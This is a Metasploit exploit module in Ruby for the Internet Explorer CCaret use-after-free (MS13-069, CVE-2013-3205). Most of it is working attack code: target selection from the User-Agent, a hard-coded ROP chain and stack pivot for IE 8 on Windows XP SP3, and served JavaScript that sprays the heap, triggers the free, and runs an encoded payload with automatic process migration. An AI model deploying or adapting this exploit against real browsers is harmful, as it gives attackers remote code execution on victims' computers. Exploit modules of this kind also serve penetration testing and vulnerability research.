require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer:: HTML
def initialize(info={})
super (update_info(info,
'Name' => "MS13-069 Microsoft Internet Explorer CCaret Use-After-Free" ,
'Description' => %q{
This module exploits a use-after-free vulnerability found in Internet Explorer,
specifically in how the browser handles the caret (text cursor) object. In IE 's standards
mode, the caret handling's vulnerable state can be triggered by first setting up an
editable page with an input field, and then we can force the caret to update in an
onbeforeeditfocus event by setting the body's innerHTML property. In this event handler,
mshtml!CCaret::`vftable' can be freed using a document.write() function, however,
mshtml!CCaret::UpdateScreenCaret remains unaware of this change, and still uses the
same reference to the CCaret object. When the function tries to use this invalid reference
to call a virtual function at offset 0x2c, it finally results a crash. Precise control of
the freed object allows arbitrary code execution under the context of the user.
},
'License' => MSF_LICENSE ,
'Author' =>
[
'corelanc0d3r' ,
'sinn3r'
],
'References' =>
[
[ 'CVE' , '2013-3205' ],
[ 'OSVDB' , '97094' ],
[ 'MSB' , 'MS13-069' ],
],
'Platform' => 'win' ,
'Targets' =>
[
[ 'Automatic' , {} ],
[
'IE 8 on Windows XP SP3' ,
{
'Rop' => :msvcrt ,
'TargetAddr' => 0x1ec20101,
'PayloadAddr' => 0x1ec20105,
'Pivot' => 0x77C4FA1A,
'PopESP' => 0x77C37422,
'Align' => 0x77c4d801
}
]
],
'Payload' =>
{
'BadChars' => "\x00" ,
'Prepend' => "\x64\xa1\x18\x00\x00\x00" +
"\x83\xC0\x08" +
"\x8b\x20" +
"\x81\xC4\x30\xF8\xFF\xFF" ,
'PrependEncoder' => "\x81\xc4\x80\xc7\xfe\xff"
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Privileged' => false ,
'DisclosureDate' => "Sep 10 2013" ,
'DefaultTarget' => 0 ))
end
def get_target(agent)
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[ 0 ] || ''
ie = agent.scan(/ MSIE (\d)/).flatten[ 0 ] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
end
targets. each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
return t
end
end
nil
end
def get_payload(t)
rop =
[
0x77c1e844,
0x77c1e844,
0x77c4fa1c,
0xffffffff,
0x77c127e5,
0x77c127e5,
0x77c4e0da,
0x2cfe1467,
0x77c4eb80,
0x77c58fbc,
0x77c34fcd,
0x2cfe04a7,
0x77c4eb80,
0x77c14001,
0x77c3048a,
0x77c47a42,
0x77c46efb,
0x77c2aacc,
0x77c3b860,
0x77c1110c,
0x77c12df9,
0x77c35459
].pack( "V*" )
p = ''
p << rand_text_alpha( 225 )
p << [t[ 'TargetAddr' ]].pack( "V*" )
p << [t[ 'Align' ]].pack( "V*" ) * ( (0x2c- 4 )/ 4 )
p << [t[ 'Pivot' ]].pack( "V*" )
p << rand_text_alpha( 4 )
p << rop
p << payload.encoded
return p
end
def get_html(t)
js_payload_addr = ::Rex::Text.to_unescape([t[ 'PayloadAddr' ]].pack( "V*" ))
js_target_addr = ::Rex::Text.to_unescape([t[ 'TargetAddr' ]].pack( "V*" ))
js_pop_esp = ::Rex::Text.to_unescape([t[ 'PopESP' ]].pack( "V*" ))
js_payload = ::Rex::Text.to_unescape(get_payload(t))
js_rand_dword = ::Rex::Text.to_unescape(rand_text_alpha( 4 ))
html = % Q |<! DOCTYPE html>
<html>
<head>
<script>
var freeReady = false ;
function getObject() {
var obj = '' ;
for (i= 0 ; i < 11 ; i++) {
if (i== 1 ) {
obj += unescape( "#{js_pop_esp}" );
}
else if (i== 2 ) {
obj += unescape( "#{js_payload_addr}" );
}
else if (i== 3 ) {
obj += unescape( "#{js_target_addr}" );
}
else {
obj += unescape( "#{js_rand_dword}" );
}
}
obj += "\\u4545" ;
return obj;
}
function emptyAllocator(obj) {
for (var i = 0 ; i < 40 ; i++)
{
var e = document.createElement( 'div' );
e.className = obj;
}
}
function spray(obj) {
for (var i = 0 ; i < 50 ; i++)
{
var e = document.createElement( 'div' );
e.className = obj;
document.appendChild(e);
}
}
function putPayload() {
var p = unescape( "#{js_payload}" );
var block = unescape( "#{js_rand_dword}" );
while (block.length < 0x80000) block += block;
block = p + block.substring( 0 , (0x80000-p.length- 6 )/ 2 );
for (var i = 0 ; i < 0x300; i++)
{
var e = document.createElement( 'div' );
e.className = block;
document.appendChild(e);
}
}
function trigger() {
if (freeReady) {
var obj = getObject();
emptyAllocator(obj);
document.write( "#{rand_text_alpha(1)}" );
spray(obj);
putPayload();
}
}
window.onload = function() {
document.body.contentEditable = 'true' ;
document.execCommand( 'InsertInputPassword' );
document.body.innerHTML = '#{rand_text_alpha(1)}' ;
freeReady = true ;
}
</script>
</head>
<body onbeforeeditfocus= "trigger()" >
</body>
</html>
|
html.gsub(/^\x20\x20\x20\x20/, '' )
end
def on_request_uri(cli, request)
agent = request.headers[ 'User-Agent' ]
t = get_target(agent)
unless t
print_error( "Not a suitable target: #{agent}" )
send_not_found(cli)
return
end
html = get_html(t)
print_status( "Sending exploit..." )
send_response(cli, html, { 'Content-Type' => 'text/html' , 'Cache-Control' => 'no-cache' })
end
end
= begin
In mshtml!CCaret::UpdateScreenCaret function:
.text: 63620F82 mov ecx, [eax] ; crash
.text: 63620F84 lea edx, [esp+110h+var_A4]
.text: 63620F88 push edx
.text: 63620F89 push eax
.text: 63620F8A call dword ptr [ecx+2Ch]
= end
|